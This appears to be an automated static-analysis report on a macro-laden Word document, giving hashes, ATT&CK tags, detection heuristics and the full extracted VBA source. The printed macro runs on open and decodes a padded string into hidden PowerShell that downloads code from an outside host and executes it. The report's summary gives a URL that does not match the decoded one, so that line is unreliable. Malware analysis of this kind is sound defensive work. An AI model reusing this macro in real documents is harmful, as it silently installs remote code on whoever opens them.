Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 137ae3c16f1d6d3e…

MALICIOUS

Office (OOXML) / .DOC

108.7 KB Created: 2021-03-01 00:03:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2022-06-20
MD5: 5973ba270e9b5ea57c138245ffc39552 SHA-1: 049f3aa3fa6f4d575d8a18e7ef51788af1ce2090 SHA-256: 137ae3c16f1d6d3e8008e4635bc8ab1f12272e16f6f38dc35c3570ab212c2cd9
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open subroutine that uses CreateObject to execute code. The script attempts to download a file from 'http://example.com/des/le.txt' and execute it. This indicates a downloader or droppper functionality.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set djfeihfidkasljf = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2343 bytes
SHA-256: 833738d0f9db219bbb58e6fdca8c226cceca8e1739f6b09852b20a1bb183f1d3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
asfwefsadfasfsadf
asfwqfasfsdafas
eifhhdfasfiedf
End Sub

Function asfwefsadfasfsadf()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Function

Function asfwqfasfsdafas()
    Selection.WholeStory
    With Selection.Font
        .NameFarEast = ""
        .NameAscii = ""
        .NameOther = ""
        .Name = ""
        .Hidden = False
    End With
End Function

Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = "+e+z+p+e+z+o+e+z+w+e+z+e+e+z+r+e+z+s+e+z+h+e+z+e+e+z+l+e+z+l+e+z+.+e+z+e+e+z+x+e+z+e+e+z+"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, "+e+z+", "")
yhjhfjdhfdhfuesk(0) = "+e+z+[+e+z+s+e+z+t+e+z+r+e+z+i+e+z+n+e+z+g+e+z+]+e+z+$+e+z+a+e+z+=+e+z+{+e+z+(+e+z+N+e+z+"
yhjhfjdhfdhfuesk(1) = "+e+z+e+e+z+w+e+z+-+e+z+O+e+z+b+e+z+j+e+z+e+e+z+c+e+z+t +e+z+N+e+z+e+e+z+t+e+z+.+e+z+W+e+z+e+e+z+b+e+z+C+e+z+l+e+z+i+e+z+"
yhjhfjdhfdhfuesk(2) = "+e+z+e+e+z+n+e+z+t+e+z+)+e+z+.+e+z+D+e+z+o+e+z+y+e+z+e+e+z+k+e+z+s+e+z+l+e+z+e+e+z+i+e+z+s+e+z+l+e+z+i+e+z+n+e+z+g+e+z+"
yhjhfjdhfdhfuesk(3) = "('h+e+z+t+e+z+t+e+z+p+e+z+:+e+z+/+e+z+/+e+z+q+e+z+u+e+z+a+e+z+r+e+z+e+e+z+z+e+z+.+e+z+a+e+z+t+e+z+w+e+z+e+e+z+b+e+z+p+e+z+a+e+z+g+e+z+e+e+z+s+e+z+.+e+z+c+e+z+o+e+z+m+e+z+/+e+z+d+e+z+s+e+z+/+e+z+le+e+z+.+e+z+t+e+z+x+e+z+t')"
yhjhfjdhfdhfuesk(4) = "+e+z+}+e+z+;+e+z+$+e+z+b+e+z+=+e+z+$+e+z+a+e+z+.+e+z+r+e+z+e+e+z+p+e+z+l+e+z+"
yhjhfjdhfdhfuesk(5) = "+e+z+a+e+z+c+e+z+e+e+z+(+e+z+'+e+z+y+e+z+e+e+z+k+e+z+s+e+z+l+e+z+e+e+z+i+e+z+s+e+z+l+e+z+'+e+z+,+e+z+'+e+z+w+e+z+n+e+z+"
yhjhfjdhfdhfuesk(6) = "+e+z+l+e+z+o+e+z+a+e+z+d+e+z+S+e+z+t+e+z+r+e+z+'+e+z+)+e+z+;+e+z+$+e+z+c+e+z+=+e+z+i+e+z+e+e+z+x+e+z+ +e+z+$+e+z+b+e+z+;+e+z+i+e+z+e+e+z+x +e+z+$+e+z+c+e+z+"
ueijfjdfijiewjddkfoi = Join(yhjhfjdhfdhfuesk, "")
    ueijfjdfijiewjddkfoi = Replace(ueijfjdfijiewjddkfoi, "+e+z+", "")
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, ueijfjdfijiewjddkfoi, "", "open", vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: d9b6a07f15f295d9a93aba3bd138fd66fe9e97b93cab7c12ca4a8d920de2eec3

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